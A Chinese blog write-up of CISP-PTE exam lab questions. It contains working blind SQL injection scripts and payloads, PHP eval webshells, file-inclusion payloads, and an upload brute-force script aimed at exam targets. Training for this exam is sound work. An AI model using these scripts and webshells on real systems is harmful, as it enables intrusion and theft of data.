CISP-PTE真题演示

周末帮好兄弟做PTE的真题,觉得确实挺有意思的,于是就有了这篇文章,侵删侵删哈

第一阶段

基础题目一:SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

在这里插入图片描述

开始答题
在这里插入图片描述

这道题的有趣的地方就是,你先注册用户,不同于以往的360的PTE真题,并不是以admin用户去发表文章就能看到key,按照往常的先注册一个用户吧
在这里插入图片描述

可以看见,此时提示的代码显示过滤掉“#”、“–”​注释符号,我们先正常写一篇文章试试
在这里插入图片描述

可以看见,这是一条插入语句,该插入方式的特点就是,插入的字段必须与表字段个数相同,多一个少一个都不行。我们看一下字段显示是否是2/3段
在这里插入图片描述
没戳,是2/3段位显示的位数,按照往常的只要能把后面的东西注释掉,然后把select语句或者直接利用报错注入插进去就行了,问题就是–、#都给注释了,那么此时应该如何利用呢?

​笨人采用笨方法—SQL时间盲注解题

在这里插入图片描述

可以看见,页面确实是延迟了2秒,本来想用布尔盲注的,因为我发现条件为真的时候,文章显示为1为假的时候显示为2,一般能用布尔盲注尽量不用时间盲注,因为时间盲注一旦哪次访问出现异常,例如页面响应慢了,网络延迟了,都会影响测试的结果。但是由于文章不会直接显示在当前页面,所以只能用时间盲注,
用的poc:

笔者一开始进入误区,想复杂了,写了一个盲注脚本,利用时间盲注进行注入查询' or if ((ascii (mid(database(), 1,1))=32),sleep(2),1) or '' or (if(ascii(mid((select table_name from information_schema.tables where table_schema like 0x32776562 limit 0,1),1,1))=1,1,sleep(2))) or '' or (if(ascii(mid((select column_name from information_schema.columns where table_schema like 0x32776562 and table_name like 0x61727469636C6531 limit 0,1),1,1))=1,sleep(2),1)) or '' or (if(ascii(mid((select group_concat(content) from (select * from article1 limit 0,5) as temp),1,1))=1,sleep(2),1)) or '

时间盲注的话,老夫写出了一些还算能用的脚本,脚本如下

import requests
import time
​
def database_len():length = 0database = ''for l in range(1, 8):startTime1 = time.time()url = "http://ip:81/start/post.php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;","X-Forwarded-For": "127.0.0.1"}data = ("title=' or if (((length(database()))=%d),sleep(2),1) or '&content=" %(l))#print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)#print(response.text)if time.time() - startTime1 > 1:length += lprint("the length :", str(length))
#database_len()       
​
def database_name():s = []for i in range(1, 5):for j in range(32,127):startTime1 = time.time()url = "http://ip​:81/start/post.php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;","X-Forwarded-For": "127.0.0.1"}data = ("title=' or if ((ascii (mid(database(),%d,1))=%d),sleep(2),1) or '&content=" % (i,j))#print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if time.time() - startTime1 >= 1:#print(j)str = chr(int(j))s.append(str)breakprint('database_name:', ''.join(s))
#database_name()
​
def table_name():s = []for i in range(0, 5):for k in range (1, 10):for j in range(32, 127):startTime1 = time.time()url = "http://ip​:81/start/post.php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;","X-Forwarded-For": "127.0.0.1"}data = ("title=' or (if(ascii(mid((select table_name from information_schema.tables where table_schema like 0x32776562 limit %d,1),%d,1))=%d,sleep(2),1)) or '&content=" % (i,k,j))print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if time.time() - startTime1 >= 1:# print(j)str = chr(int(j))s.append(str)breakprint('table_name:', ''.join(s))print('tables_name:', ''.join(s))
#table_name()
​
def table_name_1():s = []for i in range(0, 9):for j in range(32, 127):startTime1 = time.time()url = "http://ip​:81/start/post.php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;","X-Forwarded-For": "127.0.0.1"}data = ("title=' or (if(ascii(mid((select table_name from information_schema.tables where table_schema like 0x32776562 limit 0,1),%d,1))=%d,sleep(2),1)) or '&content=" % (i, j))print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if time.time() - startTime1 >= 1:# print(j)str = chr(int(j))s.append(str)break
​print('table_name:', ''.join(s))#table_name_1()
​
def column_name():s = []for i in range(0, 9):for j in range(32, 127):startTime1 = time.time()url = "http://ip:81/start/post.php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;","X-Forwarded-For": "127.0.0.1"}data = ("title=' or (if(ascii(mid((select column_name from information_schema.columns where table_schema like 0x32776562 and table_name like 0x61727469636C6531 limit 0,1),%d,1))=%d,sleep(2),1)) or '&content=" % (i, j))print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if time.time() - startTime1 >= 1:# print(j)str = chr(int(j))s.append(str)break
​print('column_name:', ''.join(s))#column_name()              #content
​
def key_name():s = []for i in range(0, 20):for j in range(32, 127):startTime1 = time.time()url = "http://ip:81/start/post.php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;","X-Forwarded-For": "127.0.0.1"}data = ("title=' or (if(ascii(mid((select group_concat(content) from (select * from article1 limit 0,3) as temp),%d,1))=%d,sleep(2),1)) or '&content=" % (i, j))print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if time.time() - startTime1 >= 1:# print(j)str = chr(int(j))s.append(str)break
​print('column_name:', ''.join(s))#key_name()

这里面写了两个table_name,建议使用第二个,因为第一个虽然会将所有的结果都一起显示出来,但是太慢了,第二个table_name_1还是比较快的,大家可以手动更改limit的字段还获取想要的东西,比较准确

该脚本分别探测,当前数据库库名长度、当前数据库库名、当前数据库表表名,字段名以及详细的字段内容,此时已将所有的方法都给注释掉了,用哪个把那个注释删除即可​,此处以最后的key内容为例
在这里插入图片描述

我很郁闷,我不信写脚本。。。。。

正解如下:

注册两个用户,分别为 1234ewq 以及 */’1234ewq’);#
思路如下:
利用二次注入以及注入半闭合完成注入,先在*/’1234ewq’);#浏览器插入文章内容,poc依次如下

AAA',(select database()),/*     AAA',(select group_concat(table_name) from information_schema.tables where table_schema like 0x32776562),/*AAA',(select group_concat(column_name) from information_schema.columns where table_schema like 0x32776562 and table_name like 0x61727469636C6531 ),/*AAA',(select group_concat(content) from (select * from article1 limit 0,1)as a ),/*

分别爆出库、表以及字段;使用hex编码防止字符串报错
在这里插入图片描述

返回正常用户1234ewq
在这里插入图片描述
这里解答一下,利用/**/来注释多余的引号,致使我们插入的select语句能够显示出来,其次由于二次注入用户*/’1234ewq’);#最后插入至表中的用户名实际为 1234ewq 所以需要在正常用户去查看
让我们看一下效果吧
在这里插入图片描述

利用难度:
首先屏蔽注释符#、–,但是在注册的时候并没有屏蔽注释符,由于mysql特性,/**/里面的内容会被注释掉,且insert into 表名 value() 方法需要对字段一一填充,也就是说多一个字段不行,少一个字段也不行;且只有2/3字段才能显示出来,故先注册一个二次注入用户名,而后再插入语句中借助二次注入用户名进行特殊闭环,形成
insert article1 value(’’,‘AAA’,(select database()),/’,’’,’/ ‘1234ewq’);#’)
这样插入至数据库则会变成这样
insert article1 value(’’,‘AAA’,(select database()), ‘1234ewq’)
其次就是插入后进行字段查询,由于article1 表出现相同表名会导致数据库死循环,报错,故需要进行as别名,且若是不加入limit语句进行限制,则会无法导出任何内容,limit任意值皆可
错误的注入结果如下图
在这里插入图片描述

需进行重命名
在这里插入图片描述

基础题目三:文件包含

题目二不知道被哪个大哥搞乱码了
在这里插入图片描述

开始答题
在这里插入图片描述

本想着用伪协议直接读取文件的,但是他在后面会默认加一个txt,于是就用写入伪协议吧
http://ip/start/index.php?page=data:text/plain,<?php @eval($_POST['x']); ?>#
在这里插入图片描述

本来想用读取伪协议的,但是很尴尬的是没成功​
在这里插入图片描述

php://filter  file://  可以访问本地的文件
zip://        phar://  可以访问本地压缩文件
php://input   data:    可以自己写入php代码

基础题目四:反序列化漏洞

在这里插入图片描述
开始答题,出现代码
在这里插入图片描述

先简单的讲解一下php反序列化的形成原因
首先是php中的魔法函数如下

__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用

这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

此时代码里看不到方法或者是数组,这样的话反而简单很多;他只有一个unserialize()
unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构
我们构造如下 vul.php?str=s:8:“CISP-PTE”;
在这里插入图片描述

基础题目五:失效的访问控制

在这里插入图片描述

开始答题
在这里插入图片描述

看题目就知道了,需要管理员用户访问,那么说白了就是伪造管理员身份权限,SSO越权?
二话不说,刷新浏览器,抓包
在这里插入图片描述

直接把false改成true;吧username字段改成admin对应的base64编码即可
在这里插入图片描述

第二阶段

基础题目一:SQL注入

在这里插入图片描述

开始答题,题目如下
在这里插入图片描述

这里就没有第一题难度大,但是墨迹程度丝毫不低于他。点击浏览该文章,同时进行抓包,看提示知道,'%") 不出意外闭合就是他了
在这里插入图片描述

好嘛,base64编码的,在我尝试使用常规注释之后,并没好使,而后使用poc如下

1'%" or 1=1 or "%'

在这里插入图片描述

啥也别说了,上脚本,写就完了,我觉得不应该是用脚本完成的,但是没想到其他的有效的方式

import requests
import base64
import time
​
def database_len():length = 0for l in range(1, 18):
​url = "http://ip/start/"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","X-Forwarded-For": "127.0.0.1"}poc1="1'%\" or "poc2="length(database())=%d " % lpoc3="or \"%'"poc=poc1+poc2+poc3                          #由于里面有太多的单引号、双引号,为了能格式化输出,只能给他们分开走poc_1=poc.encode()                          #由于此时的类型是str,直接base64转码会报bytes错误,所以需要先转码# 1'%" or length(database())=%d or "%'      #使用的人能看懂的poc是这个base64_encode=base64.b64encode(poc_1)       #此时转码后的东西依然不能直接用,因为此时类型是bytesbase64_encode_1=base64_encode.decode()      #将bytes再次转换成str类型,然后才能给data使用
​data = ('id='+base64_encode_1)print(data)
​response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if "本文作者:Edward" in response.text and response.status_code == 200:length += lbreak
​print("the length :", str(length))
#database_len()                                 #调用此函数解开前面的井号即可
​
def database_name():s = []for i in range(1, 5):for j in range(32,127):
​url = "http://ip/start/"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","X-Forwarded-For": "127.0.0.1"}
​poc1 = "1'%\" or "poc2 = "ascii(mid(database(),%d,1))=%d " % (i,j)poc3 = "or \"%'"poc = poc1 + poc2 + poc3  # 由于里面有太多的单引号、双引号,为了能格式化输出,只能给他们分开走poc_1 = poc.encode()  # 由于此时的类型是str,直接base64转码会报bytes错误,所以需要先转码# 1'%" or ascii(mid(database(),1,1))=32  or "%'      #使用的人能看懂的poc是这个
​base64_encode = base64.b64encode(poc_1)  # 此时转码后的东西依然不能直接用,因为此时类型是bytesbase64_encode_1 = base64_encode.decode()  # 将bytes再次转换成str类型,然后才能给data使用
​data = ('id=' + base64_encode_1)print(data)
​response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if "本文作者:Edward" in response.text and response.status_code == 200:str = chr(int(j))s.append(str)#print(str)#time.sleep(2)break
​print('database_name:', ''.join(s))
#database_name()                    #这个没啥用,写着玩的uinf
​
def table_name():s = []for i in range(0, 9):for j in range(32, 127):url = "http://ip/start/"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","X-Forwarded-For": "127.0.0.1"}
​poc1 = "1'%\" or "poc2 = "ascii(mid((select table_name from information_schema.tables where table_schema like database() limit 0,1),%d,1))=%d " % (i, j)poc3 = "or \"%'"poc = poc1 + poc2 + poc3  # 由于里面有太多的单引号、双引号,为了能格式化输出,只能给他们分开走poc_1 = poc.encode()  # 由于此时的类型是str,直接base64转码会报bytes错误,所以需要先转码# ascii(mid((select table_name from information_schema.tables where table_schema like 0x32776562 limit 0,1),%d,1))=%d      #使用的人能看懂的poc是这个
​base64_encode = base64.b64encode(poc_1)  # 此时转码后的东西依然不能直接用,因为此时类型是bytesbase64_encode_1 = base64_encode.decode()  # 将bytes再次转换成str类型,然后才能给data使用
​data = ('id=' + base64_encode_1)print(data)
​response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if "本文作者:Edward" in response.text and response.status_code == 200:str = chr(int(j))s.append(str)# print(str)# time.sleep(2)break
​print('table_name:', ''.join(s))
#table_name()   #article
​
def column_name():s = []for i in range(0, 9):for j in range(32, 127):url = "http://ip/start/"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","X-Forwarded-For": "127.0.0.1"}
​poc1 = "1'%\" or "poc2 = "ascii(mid((select column_name from information_schema.columns where table_schema like database() && table_name like 0x61727469636C65 limit 4,1),%d,1))=%d " % (i, j)poc3 = "or \"%'"poc = poc1 + poc2 + poc3  # 由于里面有太多的单引号、双引号,为了能格式化输出,只能给他们分开走
​poc_1 = poc.encode()  # 由于此时的类型是str,直接base64转码会报bytes错误,所以需要先转码# ascii(mid((select column_name from information_schema.columns where table_schema like database() and table_name like 0x61727469636C6531 limit 1,1),%d,1))=%d      #使用的人能看懂的poc是这个
​base64_encode = base64.b64encode(poc_1)  # 此时转码后的东西依然不能直接用,因为此时类型是bytesbase64_encode_1 = base64_encode.decode()  # 将bytes再次转换成str类型,然后才能给data使用
​data = ('id=' + base64_encode_1)#print(data)
​response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if "本文作者:Edward" in response.text and response.status_code == 200:str = chr(int(j))s.append(str)# print(str)print(poc)time.sleep(2)break
​print('column_name:', ''.join(s))#column_name()     #title  author   content  id  key
​
def key_name():s = []for i in range(0, 20):for j in range(32, 127):url = "http://ip/start/"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","X-Forwarded-For": "127.0.0.1"}
​poc1 = "1'%\" or "poc2 = "ascii(mid((select group_concat(`key`) from article),%d,1))=%d " % (i, j)poc3 = "or \"%'"poc = poc1 + poc2 + poc3  # 由于里面有太多的单引号、双引号,为了能格式化输出,只能给他们分开走#print(poc)poc_1 = poc.encode()  # 由于此时的类型是str,直接base64转码会报bytes错误,所以需要先转码base64_encode = base64.b64encode(poc_1)  # 此时转码后的东西依然不能直接用,因为此时类型是bytesbase64_encode_1 = base64_encode.decode()  # 将bytes再次转换成str类型,然后才能给data使用
​data = ('id=' + base64_encode_1)# print(data)
​response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if "本文作者:Edward" in response.text and response.status_code == 200:str = chr(int(j))s.append(str)# print(str)print(poc)time.sleep(2)break
​print('column_name:', ''.join(s))
​
key_name()

使用方式不再赘述,结果如下
在这里插入图片描述

难点如下:
poc不能出现and,否则就报错,但是爆字段不得不出现and,使用&&绕过
poc不能出现key字段,但是查key内容不出现不行,使用反单引号绕过,这里打不了。。。

基础题目二:文件上传突破

在这里插入图片描述

开始答题
在这里插入图片描述
没啥玩意,上传文件之后会识别文件的名字,然后文件的名字+随机值进行md5取值,后缀就是后缀这没啥可说的
思路就是想办法去截断随机值,但是做不到
第二个方法就是,直接上传一个1.php的小马而后去暴力撞库,但是几率只有十万分之一,这特吗撞大运?
我推荐,上传1.php 直接上传200次,而后撞库,运气好头200个就能撞倒
说整就整
在这里插入图片描述

在这里插入图片描述
上传成功的 截图就不截了,直接使用脚本撞库
在这里插入图片描述

撞大运,很快就撞到了第一个,这里我要说一下,上传图片马不是哪个都能成,他识别你图片马的内容,若是发现了eval函数就会上传失败,所以第一次我用的是base64转码
在这里插入图片描述

可是当我访问的时候,乱码了,虽然phpinfo()好使,那是因为phpinfo我没转码
在这里插入图片描述

一团糟
在这里插入图片描述

换位思考,转变策略,利用文件读写进行写入

上传文件内容如下

<?php$fn = fopen("php.php","w+");$st=base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7cGhwaW5mbygpOz8+");$result = fwrite($fn,$st);fclose($fn);
?>

依然按照我说的来,先上传xx.php200次,而后进行撞库,成功得到访问地址
在这里插入图片描述

此时的地址已经不重要了,不需要再去访问,因为我们要拿的文件其实和他已经无关,只要他被撞倒了就相当于访问过了,那么就会执行我们的写入手法,我们直接访问php.php即可
在这里插入图片描述

蚁剑连接成功,就是速度慢了点
在这里插入图片描述
撞库脚本如下

import requests
import hashlib
def upload():for l in range(1, 99999):str_1 = str(l)poc = "11.php%d" % l#print(poc)encode_md5 = poc.encode()  # 把字符串转为字节类型md5_str_1 = hashlib.md5(encode_md5)md5_str = md5_str_1.hexdigest()print("这是第"+str_1+"次"+md5_str)# print('加密后:', md5_str_1)# print('字符串加密后的值:', md5_str_1.hexdigest())
​url = "http://ip/"+md5_str+".php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","X-Forwarded-For": "127.0.0.1"}
​
​response = requests.get(url, headers=header, verify=False, timeout=10)if  response.status_code == 200:print(url)break
​
upload()

基础题目三:文件包含

在这里插入图片描述

开始答题
在这里插入图片描述

http://ip/start/index.php?page=php://filter/read=convert.base64-encode/resource=../key.php

如果想要读取运行php文件的源码,可以先base64编码,再传入include函数,这样就不会被认为是php文件,不会执行,会输出文件的base64编码,再解码即可。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/37588.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CISP-PTE实操练习讲解

CISP-PTE实操练习讲解 文章目录 CISP-PTE实操练习讲解前言一、文件上传二、反序列化漏洞三.失效的访问控制总结 前言 这次给大家讲解一下考试的各个题型 一、文件上传 这道题就很简单&#xff0c;上传一个木马进行蚁剑连接就可以了 答案就在key.php文件中 我们创建一个文件…

CISP-PTE考证相关知识

PTE考试介绍&#xff1a; ①考试时长&#xff1a;4个小时 ②考试方式&#xff1a;线下考试&#xff0c;通过本机连接在线考试平台 ③试卷分值&#xff1a;满分100分&#xff0c;70分及其以上为通过考试 ④试题分布&#xff1a;20道选择题&#xff0c;每道1分计20分&#xff1b;…

什么是CISP-PTE?

那我就简单的写几点给你介绍一下什么是CISP-PTE。上目录&#xff01; 1.认证机构 中国信息安全测评中心英文名简称&#xff1a;CNITSEC。是经中央批准成立的国家信息安全权威测评机构&#xff0c;职能是开展信息安全漏洞分析和风险评估工作&#xff0c;对信息技术产品、信息系…

CISP-PTE靶场搭建

环境 靶场下载&#xff1a;https://pan.baidu.com/s/1jZbXATH3BtT4d2MLhB3gcQ?pwdrdhw 提取码: rdhw 虚拟机版本&#xff1a;VirtualBox 6.1.34 r150636&#xff08;Qt5.6.2&#xff09; 靶场操作系统&#xff1a;Centos 6 64位 搭建过程 以管理员模式打开VBox新建并设置虚拟…

CISP-PTE考试介绍

注册信息安全专业人员-渗透测试工程师&#xff0c;英文为 Certified Information Security Professional - Penetration Test Engineer &#xff0c;简称 CISP-PTE。证书持有人员主要从事信息安全技术领域网站渗透测试工作&#xff0c;具有规划测试方案、 编写项目测试计划、编…

pte 文件包含

pte 文件包含 文件包含实验1文件包含实验2文件包含实验3文件包含实验1 http://*****/vulnerabilities/fu1.php?file=php://filter/read=convert.base64-encode/resource=../key.php文件包含实验2

19-PDE-PTE

不知在《分页》文章里&#xff0c;你有没有搞懂什么是页&#xff0c;同时还延伸出了页表的概念。另外&#xff0c;还解释了逻辑地址、线性地址和物理地址之间的关系。我知道你脑子可能是一团浆糊&#xff0c;这只能怪我的语言表达能力还不够强。 大段大段的文字让人读起来有时…

华为面试汇总

4个16位类型表示一个64位数据类型 比如用4个16位int可以表示一个64位的float&#xff0c;类型的前两个int表示整数部分后两个int表示小数部分&#xff0c;然后自己重载实现运算函数。 希尔排序与基数排序 了解各自的原理即可 希尔排序(Shell’s Sort)是插入排序的一种又称“缩…

教你如何拿到华为offer!华为面试流程及面试题解析

华为的招聘流程一直非常复杂,本人最近参加了华为的社招,对全部流程有一个总体了解,包括流程,面试题目类型,分享给大家,希望大家能有所帮助。 首先是华为hr审核简历,看一个简历和所需职位的匹配度,基本就是看毕业学校,看掌握技能是否与所需职位吻合,然后会有一个电话沟…

华为初面 + 综合面试,附上面试题,share 给大家~

华为面试整体流程大致分为笔试&#xff0c;性格测试&#xff0c;面试&#xff0c;综合面试&#xff0c;回学校等结果。笔试来说&#xff0c;华为的难度较中等&#xff0c;选择题难度和网易腾讯差不多。最后的代码题&#xff0c;相比下来就简单很多&#xff0c;一共 3 道题目&am…

华为社招面试笔试

1.机试题 机试有两道题&#xff0c;一道题200分&#xff0c;120分及格。 题目一&#xff1a;给你一个正整数n&#xff0c;假设有两个质数加起来等于n,问一共有多少组这样的质数&#xff1f; 题目二&#xff1a;字符串匹配&#xff0c;给你一个父串&#xff0c;一个子串&…

华为软件测试面试题 | 一位华为入职成功者的分享【笔试题】

B站软件测试面试题及面试技巧和简历辅导地址&#xff1a;B站最牛软件测试简历编写和软件测试简历模板以及面试技巧&#xff08;结尾有惊喜&#xff09; 一、判断题 1&#xff0e;软件测试的目的是尽可能多的找出软件的缺陷。&#xff08;&#xff09; 2&#xff0e;Beta 测试…

来自各大面经的一股清流 腾讯三面+华为三面【面试经验分享篇】

希望大家都被温柔以待&#xff0c;在这个兵荒马乱的战役中拿到自己满意的offer~ 一、背景信息 我是985硕&#xff0c;文科跨专业&#xff0c;本科期间辅修会计&#xff0c;通过两门CPA。 因为害怕自己申不上四大&#xff08;主要很怕群面&#xff09;&#xff0c;所以报了某机…

php对接百度网盘开发平台API开发高级实战案例解析:(环境部署、php封装类、Access Token获取、预上传、分片上传)

文章目录 前言一、环境部署1.封装BdPan类库2.回调地址配置 二、获取授权码Code1.手动获取Code2.生成本地token3.读取AccessToken凭证4.爬虫函数 二、简化模式授权三、网盘基础服务1.获取用户信息2.获取网盘容量信息3.递归获取文件列表4.预上传5.分片上传6.创建文件 总结 前言 百…

调用百度网盘开放平台接口,操作百度网盘中的文件,上传、下载等

1、文件管理 post 文件操作:copy, mover, rename, delete https://pan.baidu.com/rest/2.0/xpan/file? methodfilemanager &access_token121.b2cbf33a8adecdd264ca5d947e4e9cef.YgSolDXAZd3-yfTddGn-C_VNgB7wtjW6D_UygUe.6CU9Kg &operacopybody参数&#xff1a;async…

麦当劳送姜文手办?

大家好&#xff01;我是韩老师。 今天舅公给娃买了麦当劳开心乐园餐&#xff0c;里面送了号称是变形金刚的手办。 我想着&#xff0c;姜文好像也没出演过变形金刚吧&#xff1f;

作业1麦当劳

哪家麦当劳&#xff1f; 根据发票上的英文单词可以搜索得出是马来西亚槟城的麦当劳店。

汉堡王 VS 麦当劳营销对战

做营销策划,有3件事一定要坚持做: 第一、了解市场,紧贴用户,深入一线; 第二、圈内圈外积累优秀经验,学习经典案例; 第三、反复实践,不断试错,总结方法。 汉堡王 VS 麦当劳 说起经典营销案例,那就不得不提麦当劳和汉堡王这对好基友了,这对老冤家在营销上已经是相爱…

麦当劳重金收购一大数据创业公司,持续加码数字化转型

提起麦当劳&#xff0c;大家首先想到的是什么&#xff1f;可能更多是“巨无霸”汉堡&#xff0c;而非大数据吧&#xff1f;但这一切将很快发生变化&#xff1a;快餐业巨头正在以一种规模可观的方式热情拥抱机器学习技术。\n 麦当劳公司即将公布收购Dynamic Yield的交易协议内容…

如何通过照片找到麦当劳地址

拿到图片先查看了图片的属性 发现属性里面什么信息都没有&#xff0c;只好观察其他地方。在观察图片上的单词后&#xff0c;发现一家餐馆名erbang alaf restaurant&#xff0c;和一个地址Jalan SS21/39。 直接搜索地址 搜索发现该地址是马来西亚的地址 &#xff0c;然后通过百…